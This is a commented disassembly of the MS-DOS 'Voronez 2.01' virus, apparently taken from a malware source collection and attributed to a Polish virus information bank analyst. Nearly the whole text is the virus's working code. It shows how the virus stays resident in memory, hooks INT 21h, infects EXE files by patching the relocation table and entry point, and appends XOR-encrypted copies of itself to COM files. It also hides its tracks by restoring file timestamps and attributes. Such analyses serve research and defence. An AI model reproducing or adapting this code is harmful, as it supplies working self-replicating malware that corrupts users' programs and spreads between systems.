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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vor_1600.asm

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2021-01-13 00:07:35 +00:00
;=======================================================
; Virus Voronez 2.01 (August 1991 Zielona Gora, Poland)
;
; Disassembled by Andrzej Kadlof 1991 August
;
; (C) Polish Section Of Virus Information Bank
;=======================================================
1EE6 9A19240657 call 5706:2419
; victim code
1EEB 1E push ds
1EEC B82325 mov ax,2523
;...
;
;-------------------
; virus entry point
2419 8CD8 mov ax,ds
241B 0E push cs
241C 1F pop ds
241D 50 push ax
241E E80000 call 2421 ; get own offset
2421 5B pop bx
2422 81EB0801 sub bx,0108 ; virus base
2426 53 push bx
; is virus present in RAM?
2427 B4AB mov ah,AB ; call for resident part
2429 CD21 int 21
242B 3D5555 cmp ax,5555 ; expected answer
242E 7503 jne 2433 ; not instaled
2430 E9D000 jmp 2503 ; instaled, exit
; install wirus in RAM
2433 8CC0 mov ax,es ; PSP segment
2435 2D0100 sub ax,0001 ; MCB segment
2438 8ED8 mov ds,ax
243A BB0300 mov bx,0003 ; offset of size of block in MCB
243D 3E8B07 mov ax,ds:[bx] ; get size
2440 2DEA00 sub ax,00EA ; reserve 0EA0h bytes for virus (3744)
2443 3E8907 mov ds:[bx],ax ; store new block size
2446 06 push es ; restore DS
2447 1F pop ds
2448 BB0200 mov bx,0002 ; offset of MEM size in PSP
244B 3E8B07 mov ax,ds:[bx] ; get MEM size
244E 2DEA00 sub ax,00EA ; decrease by 3744 bytes
2451 3E8907 mov ds:[bx],ax ; set new value in PSP
2454 8EC0 mov es,ax ; segment for new virus location
2456 BF0001 mov di,0100 ; offset of destination
2459 BE0001 mov si,0100 ; offset of source
245C 5B pop bx ; virus base
245D 53 push bx
245E 01DE add si,bx ; start of virus code
2460 0E push cs ; set DS to virus code
2461 1F pop ds
2462 B9A406 mov cx,06A4 ; length (1700)
2465 F3A4 rep movsb ; move to new place
2467 8BD0 mov dx,ax ; segment of new location
2469 EB74 jmp 24DF ; continue
246B 90 nop
;------------------
; INT 21h handler
246C 9C pushf
246D FB sti
246E 80FCAB cmp ah,AB ; virus call
2471 7505 jne 2478 ; no
2473 B85555 mov ax,5555 ; answer: I'm here
2476 9D popf
2477 CF iret
2478 3D003D cmp ax,3D00 ; open file for read only
247B 7540 jne 24BD
; open file for read only
247D 50 push ax
247E 53 push bx
247F 51 push cx
2480 52 push dx
2481 56 push si
2482 57 push di
2483 06 push es
2484 B94100 mov cx,0041 ; maximum path length
2487 30C0 xor al,al
2489 8BFA mov di,dx ; offset of path
248B 1E push ds
248C 07 pop es
248D F2AE repnz scasb ; find end of string
248F 83EF04 sub di,0004 ; point at extension
2492 8BF7 mov si,di
2494 56 push si ; offset of extension
2495 0E push cs
2496 07 pop es
2497 B90400 mov cx,0004 ; extension length
249A BF8902 mov di,0289 ; is it EXE?
249D F3A6 rep cmpsb
249F 83F900 cmp cx,0000
24A2 7504 jne 24A8
24A4 5E pop si ; balance stack
24A5 EB0D jmp 24B4 ; skip exe comparison
24A7 90 nop
24A8 BF8C02 mov di,028C ; is it exe?
24AB B90400 mov cx,0004
24AE 5E pop si ; offset of extension
24AF F3A6 rep cmpsb
24B1 83F900 cmp cx,0000
; restore callers registers
24B4 07 pop es
24B5 5F pop di
24B6 5E pop si
24B7 5A pop dx
24B8 59 pop cx
24B9 5B pop bx
24BA 58 pop ax
24BB 7409 je 24C6 ; exe file, contaminate it!
; not EXE file, maybe COM or subfunction <> 3D00h
24BD 50 push ax ; store subfunction code
24BE FEC4 inc ah ; hide 4B00h comparison
24C0 3D004C cmp ax,4C00 ; "terminate" proces
24C3 58 pop ax ; restore subfunction
24C4 7513 jne 24D9 ; jump to old INT 21h
; EXE file will be open for read only or any file will be loaded and executed
; store caller registers again
24C6 50 push ax
24C7 53 push bx
24C8 51 push cx
24C9 52 push dx
24CA 56 push si
24CB 57 push di
24CC 06 push es
24CD 1E push ds
24CE E91F01 jmp 25F0 ; contaminate
; jump to old INT 21h
24D1 1F pop ds
24D2 07 pop es
24D3 5F pop di
24D4 5E pop si
24D5 5A pop dx
24D6 59 pop cx
24D7 5B pop bx
24D8 58 pop ax
24D9 9D popf
24DA EA60147902 jmp 0279:1460 ; old INT 21h
; ^^^^^^^^ old INT 21h (place holder)
;---------------------
; continue instalation
; get INT 21h
24DF 8EDA mov ds,dx ; DS points at new virus location
24E1 B82135 mov ax,3521
24E4 CD21 int 21
24E6 3E891EC201 mov ds:[01C2],bx ; modify own code
24EB 3E8C06C401 mov ds:[01C4],es
24F0 3E891E7503 mov ds:[0375],bx
24F5 3E8C067703 mov ds:[0377],es
; set new INT 21h
24FA 8D165301 lea dx,[0153] ; here 246C
24FE B82125 mov ax,2521
2501 CD21 int 21
2503 5A pop dx ; virus base
2504 BBB002 mov bx,02B0 ; offset of working varible
2507 01D3 add bx,dx ; add base
2509 2E803F00 cmp byte ptr [bx],00 ; carrier type
250D 7441 je 2550 ; carrier is COM file
; carrier is EXE file
250F 1F pop ds ; restore DS
2510 8CD8 mov ax,ds ; store new virus segment
2512 0E push cs
2513 1F pop ds
2514 8BCA mov cx,dx
2516 5F pop di ; entry point offset
2517 07 pop es ; entry point segment
2518 50 push ax
2519 83EF05 sub di,0005 ; length of FAR CALL
; improper handling of the case when relocation item points exactly at
; fifth byte of stored code
251C BEAF02 mov si,02AF ; extension of buffer
251F 01CE add si,cx ; virus base
2521 8A14 mov dl,[si] ; get sixth byte, this byte may by
; changed during relocation proces
; this byte should be added to sixth byte in file (counting from entry point)
2523 26005505 add es:[di+05],dl ; add key
2527 26385505 cmp es:[di+05],dl ; was DL = 0?
252B 7703 ja 2530 ; jump if no
252D 4E dec si
252E FE04 inc byte ptr [si]
2530 8BD7 mov dx,di ; destination
2532 BEAA02 mov si,02AA ; source buffer
2535 01CE add si,cx ; add base
2537 B90500 mov cx,0005 ; number of bytes
253A F3A4 rep movsb
253C 1F pop ds
253D 06 push es ; prepare long jump
253E 52 push dx
253F 8CD8 mov ax,ds ; reset registers
2541 8EC0 mov es,ax
2543 31C0 xor ax,ax
2545 31DB xor bx,bx
2547 31C9 xor cx,cx
2549 31D2 xor dx,dx
254B 31F6 xor si,si
254D 31FF xor di,di
254F CB retf ; jump to application
; exit to COM application
2550 8CC8 mov ax,cs
2552 8ED8 mov ds,ax
2554 8EC0 mov es,ax
2556 BE6802 mov si,0268 ; offset of encryption routine
2559 B90001 mov cx,0100 ; number of bytes
255C BB8102 mov bx,0281 ; file size
255F 8B3F mov di,[bx]
2561 83FF00 cmp di,0000 ; ??
2564 7502 jne 2568
2566 CD20 int 20 ; terminate
; form destination address
2568 BB8302 mov bx,0283 ; place holder for virus length
256B 8B07 mov ax,[bx] ; virus length
256D 01C7 add di,ax ; add to file size
256F 81C70001 add di,0100 ; size of PSP
2573 FC cld
2574 57 push di ; destination address
2575 F3A4 rep movsb ; move part of code
2577 5F pop di ; restore address
2578 8B0E8302 mov cx,[0283] ; virus size
257C A18102 mov ax,[0281] ; file length
257F 57 push di ; prepare jump
2580 C3 ret ; jump to moved code (here 2581)
;--------------------
; encryption routine
2581 050001 add ax,0100 ; PSP size
2584 8BF0 mov si,ax ; offset of encrypted block
2586 BF0001 mov di,0100 ; destination
2589 FC cld
; decrypt block and copy it to begin of file
258A 8A04 mov al,[si]
258C 34BB xor al,BB
258E 8805 mov [di],al
2590 46 inc si
2591 47 inc di
2592 E2F6 loop 258A
; jump to application
2594 B80001 mov ax,0100 ; entry point for EXE
2597 5B pop bx ; balance stack
2598 50 push ax ; prepare jump
2599 C3 ret ; jump to COM
; working area
259A 1926 ; [base + 0281] low word of file size
259C 4006 ; [base + 0283] size of virus, (high word of file length)
259E 014C ; [base + 0285] old INT 24h (offset)
25A0 169F ; [base + 0287] old INT 24h (segment)
25A2 45 58 45 ; [base + 0289] 'EXE'
25A5 65 78 65 ; [base + 028C] 'exe'
; unused
; below line after xoring with 1A become: OleynikozL - name of the wirus author
25A8 55 76 7F 63 74 73 71 75 60 56 ; Uvctsqu`
25B1 56 6F 72 6F 6E 65 7A 68 2C ; Voronezh,
25BA 31 39 39 30 20 32 2E 30 31 ; 1990 2.01
; used data
25C3 FC 0E 1F BA BB ; [base + 02AA] starting 5 bytes of EXE file
25C8 00 ; [base + 02AF] this byte is added to 02AE
; if it is 0 then [02AE] is decreased by 1
25C9 01 ; [base + 02B0] carrier type: 0 - EXE, 1 - COM
25CA 0002 ; [base + 02B1] offset in header for new relocation entry
25CC E61E ; [base + 02B3] IP of EXE file
25CE 0000 ; [base + 02B5] CS of EXE file
25D0 0000
25D2 00
25D3 0000 ; [base + 02BA] virus entry point in file on disk
25D5 E620 ; [base + 02BC] - [02B1]
25D7 0000 ; [base + 02BE] segment of virus entry point
25D9 1924 ; [base + 02C0] offset
25DB 9A ; [base + 02C2] code of CALL SSSS:OOOO
25DC 1924 ; [base + 02C3] OOOO
25DE 0000 ; [base + 02C5] SSSS
25E0 0000 ; [base + 02C7] file position low word
25E2 1E00 ; [base + 02C9] file position high word
25E4 0001 ; [base + 02CB] size of buffer
25E6 0000 ; [base + 02CD] total size of readed part of ReloTabl
25E8 00 ; [base + 02CF] number of disk (0 - default, 1 - A, ...)
25E9 2000 ; [base + 02D0] file attributes
25EB B438 ; [base + 02D2] offset of file name
25ED 0F4C ; [base + 02D4] segment of file name
;-----------------
; INT 24h handler
25EF CF iret
; jump here if EXE file is open or sam program is loaded and executed
; check file name, skip file if fourth and fifth characters in path are 'CO'
25F0 8BDA mov bx,dx ; offset of path
25F2 3E8B4703 mov ax,ds:[bx+03] ; skip 'd:\' (?)
25F6 3D434F cmp ax,4F43 ; 'CO' protect 'C:\COMMAND.COM' ?
25F9 7503 jne 25FE
25FB E9D3FE jmp 24D1 ; jump to old INT 21h
; check presence of disk specyfication
25FE 8BFA mov di,dx ; offset of path
2600 31C0 xor ax,ax
2602 2EC606CF0200 mov byte ptr [02CF],00 ; default
2608 3E807D013A cmp ds:byte ptr [di+01],3A ; ':' is disk specified?
260D 7509 jne 2618 ; no
; convert disk specyfication to number (A - 1, B - 2, ...)
260F 3E8A05 mov al,ds:[di]
2612 249F and al,9F ; convert
2614 2EA2CF02 mov [02CF],al ; store disk number
2618 B80043 mov ax,4300 ; get file attributes
261B CD21 int 21
; store address of path and file attributes
261D 2E890ED002 mov [02D0],cx
2622 2E8C1ED202 mov [02D2],ds
2627 2E8916D402 mov [02D4],dx
; intercepte INT 24h
262C 1E push ds
262D 52 push dx
262E 06 push es
262F 0E push cs
2630 1F pop ds
2631 B82435 mov ax,3524
2634 CD21 int 21
2636 891E8502 mov [0285],bx
263A 8C068702 mov [0287],es
263E BAD602 mov dx,02D6
2641 B82425 mov ax,2524
2644 CD21 int 21
2646 07 pop es
2647 5A pop dx
2648 1F pop ds
2649 1E push ds
264A 0E push cs
264B 1F pop ds
264C BB0001 mov bx,0100
264F B94007 mov cx,0740 ; offset of buffer
2652 29D9 sub cx,bx ; virus length
2654 BB8302 mov bx,0283 ; offset of varible
2657 890F mov [bx],cx ; size of virus/crypted block
2659 1F pop ds
265A 8BDA mov bx,dx ; waste of time
265C 1E push ds ; store address of path
265D 52 push dx
265E 53 push bx ; waste of time
265F 0E push cs
2660 1F pop ds
2661 B436 mov ah,36 ; disk free
2663 8A16CF02 mov dl,[02CF] ; disk number
2667 CD21 int 21
2669 3DFFFF cmp ax,FFFF ; check for error
266C 7509 jne 2677 ; ok
; disk not accessible, exit
266E 58 pop ax ; balance stack
266F 58 pop ax
2670 58 pop ax
2671 E8A203 call 2A16 ; restore INT 24h
2674 E95AFE jmp 24D1 ; jump to old INT 21h
; convert disk free space into bytes
2677 F7E3 mul bx
2679 F7E1 mul cx
267B 09D2 or dx,dx
267D 7506 jne 2685 ; plenty of free room
267F 3B068302 cmp ax,[0283] ; minimum disk free space
2683 72E9 jb 266E ; disk full, exit
2685 5B pop bx ; balance stack
2686 5A pop dx ; path address
2687 1F pop ds
2688 B8003D mov ax,3D00 ; open file for read only
268B 9C pushf
268C FA cli
268D 9A60147902 call 0279:1460 ; old INT 21h
; ^^^^^^^^ old INT 21h (place holder)
2692 7306 jnb 269A ; OK
2694 E87F03 call 2A16 ; restore INT 24h
2697 E937FE jmp 24D1 ; jump to old INT 21h
269A 50 push ax ; store handle
269B 8CC8 mov ax,cs ; set DS and ES to virus segment
269D 8ED8 mov ds,ax
269F 8EC0 mov es,ax
26A1 58 pop ax ; restore handle
26A2 50 push ax ; store handle
26A3 8BD8 mov bx,ax
26A5 B80057 mov ax,5700 ; get file time/date stamp
26A8 CD21 int 21
26AA 58 pop ax ; restore handle
26AB 51 push cx ; attributes
26AC 52 push dx ; offset of path
26AD 50 push ax ; handle
; get file size
26AE 8BD8 mov bx,ax ; handle
26B0 B90000 mov cx,0000
26B3 BA0000 mov dx,0000
26B6 B442 mov ah,42 ; move file ptr
26B8 B002 mov al,02 ; to EOF
26BA CD21 int 21
26BC BB8102 mov bx,0281 ; store low word of file length
26BF 8907 mov [bx],ax
; waste of time or programmers error
26C1 BB8302 mov bx,0283 ; 'store' high word of file length
26C4 8B0F mov cx,[bx] ; <- error (?), maybe: mov [bx],cx ?
; move file ptr to BOF
26C6 B90000 mov cx,0000
26C9 BA0000 mov dx,0000
26CC B80042 mov ax,4200 ; move file ptr to BOF
26CF 5B pop bx ; restore handle
26D0 53 push bx
26D1 CD21 int 21
; read [0283] bytes of file to buffer located above virus
26D3 BB8302 mov bx,0283 ; working varible
26D6 8B0F mov cx,[bx] ; length of virus/encrypted block
26D8 5B pop bx ; restore handle
26D9 53 push bx
26DA BA4007 mov dx,0740 ; buffer
26DD B43F mov ah,3F ; read file
26DF CD21 int 21
26E1 BE4007 mov si,0740 ; buffer
26E4 8B0C mov cx,[si] ; first word
26E6 81F98CD8 cmp cx,D88C ; signature in COM file
26EA 7509 jne 26F5 ; clear COM or EXE file
; this is infected COM file, exit
26EC 5B pop bx ; handle
26ED 58 pop ax ; balance stack
26EE 58 pop ax
26EF E81F03 call 2A11 ; close file and restore INT 24h
26F2 E9DCFD jmp 24D1 ; jump to old INT 21h
; is it EXE file or clear COM?
26F5 81F94D5A cmp cx,5A4D ; EXE marker
26F9 7403 je 26FE ; yes
26FB E98902 jmp 2987 ; infect COM file
; check EXE file
26FE 5B pop bx ; restore handle
26FF 53 push bx
2700 B80042 mov ax,4200 ; move file ptr to BOF
2703 31C9 xor cx,cx
2705 31D2 xor dx,dx
2707 CD21 int 21
2709 B93200 mov cx,0032 ; block size
270C B8003F mov ax,3F00 ; read file
270F 8D164007 lea dx,[0740] ; buffer
2713 CD21 int 21
; check free place in relocation table
2715 A14607 mov ax,[0746] ; ReloCnt
2718 B90400 mov cx,0004 ; entry size
271B F7E1 mul cx ; AX size of relocation table
271D 8B1E5807 mov bx,[0758] ; TablOff
2721 01D8 add ax,bx
2723 8BD0 mov dx,ax ; size of used area in header
2725 8BFA mov di,dx
2727 A14807 mov ax,[0748] ; HdrSize
272A B91000 mov cx,0010 ; convert to bytes
272D F7E1 mul cx
272F 8BD7 mov dx,di ; used header size
2731 83C204 add dx,0004 ; one additional entry
2734 39D0 cmp ax,dx ; is free space?
2736 7703 ja 273B ; yes
2738 E94902 jmp 2984 ; relocation table is full, exit
; prepare new header
273B A3B102 mov [02B1],ax ; offset of first unused entry
273E A14607 mov ax,[0746] ; ReloCnt
2741 40 inc ax ; add one entry
2742 A34607 mov [0746],ax ; ReloCnt, store new value of counter
2745 A15407 mov ax,[0754] ; IP
2748 A3B302 mov [02B3],ax ; store oryginal IP
274B A15607 mov ax,[0756] ; CS
274E A3B502 mov [02B5],ax ; store oryginal CS
2751 31D2 xor dx,dx
2753 31C9 xor cx,cx
2755 B80242 mov ax,4202 ; move file ptr to EOF
2758 5B pop bx ; restore handle
2759 53 push bx
275A CD21 int 21
275C 50 push ax ; store file length
275D 52 push dx
275E 03068302 add ax,[0283] ; find new file length
2762 3B068302 cmp ax,[0283] ; long integer addition
2766 7701 ja 2769
2768 42 inc dx ; high word of file length
2769 B90002 mov cx,0200 ; convert into 512 byte pages
276C F7F1 div cx
276E 83FA00 cmp dx,0000 ; last page non empty?
2771 7401 je 2774
2773 40 inc ax ; count last page
; check if header information match to real file size
2774 8B1E4407 mov bx,[0744] ; PageCnt
2778 8BC8 mov cx,ax ; new PageCnt
277A 29D9 sub cx,bx ; diference
277C 83F905 cmp cx,0005 ; maximum possible
277F 7205 jb 2786 ; OK, continue infection
; there is some information above program in EXE file, do not infect such a
; file, exit
2781 58 pop ax
2782 58 pop ax
2783 E9FE01 jmp 2984
; continue infection
2786 A34407 mov [0744],ax ; PageCnt, store new value
2789 5A pop dx ; restore file length
278A 58 pop ax ; low word of file length
278B 8B1EB102 mov bx,[02B1] ; position of free relocation entry
278F 39D8 cmp ax,bx
2791 7205 jb 2798
; find length of file part above last entry in relocation table
2793 29D8 sub ax,bx
2795 EB04 jmp 279B
2797 90 nop
2798 29D8 sub ax,bx
279A 4A dec dx
279B 8916BE02 mov [02BE],dx ; address of virus entry point (segment)
279F A3C002 mov [02C0],ax ; offset
27A2 A1B102 mov ax,[02B1] ; offset in relocation table
27A5 8B1EB302 mov bx,[02B3] ; IP
27A9 BA0000 mov dx,0000 ; prepare long integer addition
27AC 01D8 add ax,bx ; add long integer
27AE 39D8 cmp ax,bx
27B0 7701 ja 27B3
27B2 42 inc dx
27B3 8BF0 mov si,ax ; offset of entry point
27B5 8BFA mov di,dx ; high word
27B7 A1B502 mov ax,[02B5] ; CS
27BA B91000 mov cx,0010 ; convert to bytes
27BD F7E1 mul cx
27BF 01D7 add di,dx ; high word
27C1 01C6 add si,ax ; low word
27C3 39C6 cmp si,ax
27C5 7701 ja 27C8
27C7 47 inc di
; store distance in file between first free entry in relocation table and
; program entry point in disk file
27C8 8BC6 mov ax,si
27CA 8BD7 mov dx,di
27CC 8916BA02 mov [02BA],dx
27D0 A3BC02 mov [02BC],ax
; move file position to entry point
27D3 8BCA mov cx,dx
27D5 8BD0 mov dx,ax
27D7 B80042 mov ax,4200 ; move file ptr
27DA C606B00201 mov byte ptr [02B0],01 ; flag: EXE file
27DF C606AF0200 mov byte ptr [02AF],00 ; buffer extension
27E4 5B pop bx ; handle
27E5 53 push bx
27E6 CD21 int 21
; read oryginal five bytes from entry point
27E8 B90500 mov cx,0005 ; number of bytes
27EB 8D16AA02 lea dx,[02AA] ; local buffer
27EF B8003F mov ax,3F00 ; read file
27F2 CD21 int 21
27F4 803EAA029A cmp byte ptr [02AA],9A ; signature
27F9 7503 jne 27FE ; not infected, continue
27FB E98601 jmp 2984 ; do not infect, exit
; continue infection
27FE E82302 call 2A24 ; clear attributes and reopen for read/write
; move file ptr to first not used entry in relocation table
2801 8B1E5807 mov bx,[0758] ; TableOff
2805 A14607 mov ax,[0746] ; ReloCnt
2808 48 dec ax ; count starts from zero
2809 B90400 mov cx,0004 ; entry size
280C F7E1 mul cx
280E 01C3 add bx,ax ; offset in table
2810 B90000 mov cx,0000
2813 8BD3 mov dx,bx
2815 B80042 mov ax,4200 ; move file ptr to BOF
2818 5B pop bx ; handle
2819 53 push bx
281A CD21 int 21
; write new relocation table entry
281C 8B16B302 mov dx,[02B3] ; IP
2820 83C203 add dx,0003 ; length of instruction code and offset
2823 8916B302 mov [02B3],dx ; pointer to segment word
2827 8D16B302 lea dx,[02B3] ; buffer with CS:IP
282B B90400 mov cx,0004 ; buffer size
282E B440 mov ah,40 ; write file
2830 5B pop bx ; handle
2831 53 push bx
2832 CD21 int 21
; restore IP in [02B3]
2834 8B16B302 mov dx,[02B3]
2838 83EA03 sub dx,0003
283B 8916B302 mov [02B3],dx
; move file ptr to begin of file
283F 31D2 xor dx,dx
2841 31C9 xor cx,cx
2843 B80042 mov ax,4200 ; move file ptr to BOF
2846 5B pop bx ; handle
2847 53 push bx
2848 CD21 int 21
; write new header to file
284A 8B0E5807 mov cx,[0758] ; TableOff, number of bytes to write
284E 8D164007 lea dx,[0740] ; offset of buffer
2852 B440 mov ah,40 ; write file
2854 CD21 int 21
; form code for instruction of far call to virus
2856 C606C2029A mov byte ptr [02C2],9A ; code for CALL ssss:oooo
285B A1C002 mov ax,[02C0] ; offset of virus entry point in RAM
285E A3C302 mov [02C3],ax ; store in buffer
2861 A1BE02 mov ax,[02BE] ; segment
2864 B90010 mov cx,1000 ; ??
2867 F7E1 mul cx
2869 A3C502 mov [02C5],ax ; new segment
286C 813EC30200F0 cmp word ptr [02C3],F000
2872 7215 jb 2889
; keep offset below F000
2874 A1C302 mov ax,[02C3]
2877 8B16C502 mov dx,[02C5]
287B 81C20001 add dx,0100 ; adjust segment
287F 2D0010 sub ax,1000 ; decrease offset
2882 8916C502 mov [02C5],dx ; store new values
2886 A3C302 mov [02C3],ax
; write to disk new entry point code
2889 8B0EBA02 mov cx,[02BA] ; virus entry point on disk file
288D 8B16BC02 mov dx,[02BC]
2891 B80042 mov ax,4200 ; move file ptr
2894 5B pop bx
2895 53 push bx
2896 CD21 int 21
2898 B90500 mov cx,0005 ; buffer length
289B B440 mov ah,40 ; write file
289D 8D16C202 lea dx,[02C2] ; buffeer with CALL SSSS:OOOO
28A1 CD21 int 21
; append to file virus code
28A3 B90000 mov cx,0000
28A6 BA0000 mov dx,0000
28A9 B80242 mov ax,4202 ; move file ptr to EOF
28AC 5B pop bx ; handle
28AD 53 push bx
28AE CD21 int 21
28B0 B440 mov ah,40 ; write file
28B2 8B0E8302 mov cx,[0283] ; virus length
28B6 BA0001 mov dx,0100 ; offset of virus code in RAM
28B9 CD21 int 21
; analyse relocation table
28BB 31C9 xor cx,cx
28BD 8B165807 mov dx,[0758] ; TablOff
28C1 B80042 mov ax,4200 ; move file ptr
28C4 5B pop bx ; handle
28C5 53 push bx
28C6 CD21 int 21
28C8 C706CD020000 mov word ptr [02CD],0000
28CE 8916C702 mov [02C7],dx ; store file position
28D2 A3C902 mov [02C9],ax
28D5 A14607 mov ax,[0746] ; ReloCnt
28D8 BF0000 mov di,0000
28DB 48 dec ax ; restore oryginal value
28DC 3D0000 cmp ax,0000
28DF 7503 jne 28E4 ; analyse relocation table
; if oryginal relocation table was empty then exit
28E1 E9A000 jmp 2984 ; close file, restore attr etc.
; find size of relocation table
28E4 B90400 mov cx,0004
28E7 F7E1 mul cx
28E9 8BF0 mov si,ax ; offset of last used entry
; get current file position (this is the begin of relocation teble)
28EB B90000 mov cx,0000
28EE BA0000 mov dx,0000
28F1 B80142 mov ax,4201 ; move file ptr rel current position
28F4 CD21 int 21
; read part of relocation table
28F6 8916C702 mov [02C7],dx ; store file position
28FA A3C902 mov [02C9],ax
28FD B90001 mov cx,0100 ; number of bytes
2900 BA0000 mov dx,0000 ; buffer
2903 B8003F mov ax,3F00 ; read file
2906 CD21 int 21
2908 BF0000 mov di,0000 ; point at relocation table
290B A3CB02 mov [02CB],ax ; number of bytes readed
290E 0106CD02 add [02CD],ax ; total number of readed bytes
; check relocation table entry
2912 8B4502 mov ax,[di+02] ; get segment
2915 3B06B502 cmp ax,[02B5] ; is it CS
2919 7551 jne 296C ; check next entry
291B 8B05 mov ax,[di] ; get offset
291D 3B06B302 cmp ax,[02B3] ; is it IP
2921 7249 jb 296C ; check next entry
; relocatin item points at entry point or above
2923 A1B302 mov ax,[02B3] ; IP
2926 050500 add ax,0005 ; length of far call
2929 3B05 cmp ax,[di] ; relocation item point inside call code
292B 763F jbe 296C ; no, consider next entry
; modify relocation table and write it to file
; let relocation item point at the same code but now stored in virus
; body in local buffer
292D A1C502 mov ax,[02C5] ; segment of virus entry point
2930 894502 mov [di+02],ax ; store in buffer
2933 8B05 mov ax,[di] ; offset
2935 8B1EB302 mov bx,[02B3] ; old IP
2939 29D8 sub ax,bx
293B 50 push ax ; store
293C B8AA02 mov ax,02AA ; offset of local buffer
293F 2D0001 sub ax,0100 ; offset in virus body
2942 8B1EC302 mov bx,[02C3] ; offset of entry point in RAM
2946 01D8 add ax,bx
2948 5B pop bx
2949 01D8 add ax,bx
294B 8905 mov [di],ax ; new offset
294D 8B0EC702 mov cx,[02C7] ; restore file position
2951 8B16C902 mov dx,[02C9]
2955 B80042 mov ax,4200 ; move file ptr
2958 5B pop bx ; restore handle
2959 53 push bx
295A CD21 int 21
295C 8B0ECB02 mov cx,[02CB] ; number of bytes
2960 B440 mov ah,40 ; write file
2962 5B pop bx ; handle
2963 53 push bx
2964 BA0000 mov dx,0000 ; from
2967 CD21 int 21
2969 EB19 jmp 2984 ; close file, etc. exit
296B 90 nop
296C 83C704 add di,0004 ; next entry in relocation table
296F A1CD02 mov ax,[02CD] ; number of readed bytes
2972 2D0001 sub ax,0100 ; buffer size
2975 01F8 add ax,di ; current position in table
2977 39F0 cmp ax,si ; table size
2979 7409 je 2984 ; close file, etc. exit
297B 3B3ECB02 cmp di,[02CB] ; end of buffer?
297F 7291 jb 2912 ; no, check next relocation item
2981 E967FF jmp 28EB ; read next part of relocation table
2984 EB67 jmp 29ED ; close file, etc. and exit
2986 90 nop
;-------------------
; infect COM file
; check maximum file size
2987 8B0E8102 mov cx,[0281] ; file size
298B 81F948EE cmp cx,EE48 ; maximum file size (61000)
298F 7209 jb 299A
; file too long or too short, exit
2991 5B pop bx
2992 58 pop ax
2993 58 pop ax
2994 E87A00 call 2A11 ; close file and restore INT 24h
2997 E937FB jmp 24D1 ; jump to old INT 21h
; check minimum file size
299A 3B0E8302 cmp cx,[0283] ; virus length, minimum file size
299E 72F1 jb 2991 ; file too short, exit
29A0 E88100 call 2A24 ; clear attributes and reopen file
29A3 C606B00200 mov byte ptr [02B0],00
; get file size
29A8 BA0000 mov dx,0000
29AB B90000 mov cx,0000
29AE B80242 mov ax,4202 ; move file ptr to EOF
29B1 5B pop bx ; restore handle
29B2 53 push bx
29B3 CD21 int 21
29B5 BE8302 mov si,0283
29B8 8B0C mov cx,[si] ; virus size
29BA B440 mov ah,40 ; write file
29BC 51 push cx
29BD BB4007 mov bx,0740 ; offset of buffer
; encrypt block
29C0 8A07 mov al,[bx]
29C2 34BB xor al,BB
29C4 8807 mov [bx],al
29C6 43 inc bx
29C7 E2F7 loop 29C0
; write to file
29C9 59 pop cx ; block size
29CA 5B pop bx ; handle
29CB 53 push bx
29CC BA4007 mov dx,0740 ; offset of buffer
29CF CD21 int 21
29D1 B80042 mov ax,4200 ; move file ptr to BOF
29D4 BA0000 mov dx,0000
29D7 B90000 mov cx,0000
29DA CD21 int 21
29DC BB1001 mov bx,0110 ; faked instruction
29DF BE8302 mov si,0283
29E2 8B0C mov cx,[si]
29E4 BA0001 mov dx,0100
29E7 B440 mov ah,40 ; write file
29E9 5B pop bx ; handle
29EA 53 push bx
29EB CD21 int 21
; common (EXE and COM) exit code, restore file date/time stamp
29ED 5B pop bx ; handle
29EE 5A pop dx ; file date stamp
29EF 59 pop cx ; file time stamp
29F0 53 push bx ; store handle
29F1 B80157 mov ax,5701 ; restore file time/date stamp
29F4 CD21 int 21
; restore file attributes
29F6 8B16D402 mov dx,[02D4] ; path offset
29FA 8E1ED202 mov ds,[02D2] ; path segment
29FE B80143 mov ax,4301 ; set file attributes
2A01 2E8B0ED002 mov cx,cs:[02D0] ; restore attributes
2A06 CD21 int 21
2A08 0E push cs
2A09 1F pop ds
2A0A 5B pop bx ; handle
2A0B E80300 call 2A11 ; close file and restore INT 24h
2A0E E9C0FA jmp 24D1 ; jump to old INT 21h
;-------------------------------
; close file and restore INT 24h
2A11 B8003E mov ax,3E00 ; close file
2A14 CD21 int 21
;----------------
; restore INT 24h
2A16 8B1E8502 mov bx,[0285]
2A1A 8E068702 mov es,[0287]
2A1E B82425 mov ax,2524 ; restore INT 24h
2A21 CD21 int 21
2A23 C3 ret
;------------------------------------------------
; clear file attributes and reopen for read/write
2A24 55 push bp
2A25 8BEC mov bp,sp
2A27 1E push ds
2A28 B80143 mov ax,4301 ; set file attributes
2A2B 8B16D402 mov dx,[02D4] ; path offset
2A2F 8E1ED202 mov ds,[02D2] ; path segment
2A33 31C9 xor cx,cx ; clear all
2A35 CD21 int 21
2A37 7306 jnb 2A3F ; continue
; exit to old INT 21h
2A39 1F pop ds
2A3A 5D pop bp
2A3B 58 pop ax
2A3C E945FF jmp 2984 ; exit
2A3F 368B5E04 mov bx,ss:[bp+04] ; restore handle
2A43 B8003E mov ax,3E00 ; close file
2A46 CD21 int 21
2A48 B8023D mov ax,3D02 ; open file for read/write
2A4B FA cli
2A4C 9C pushf
2A4D 2EFF1EC201 call far [01C2] ; old INT 21h
2A52 1F pop ds
2A53 36894604 mov ss:[bp+04],ax ; handle
2A57 5D pop bp
2A58 C3 ret
; end of file
;----------------------------------------
; buffer for header of infected EXE file
cs:0740 ; 'MZ'
cs:0742 ; PartPag
cs:0744 ; PageCnt
cs:0746 ; ReloCnt
cs:0748 ; HdrSize
cs:074a ; MinMem
cs:074c ; MaxMem
cs:074e ; ReloSS
cs:0750 ; ExeSP
cs:0752 ; ChkSum
cs:0754 ; ExeIP
cs:0756 ; ReloCS
cs:0758 ; TablOff
cs:075a ; Overlay
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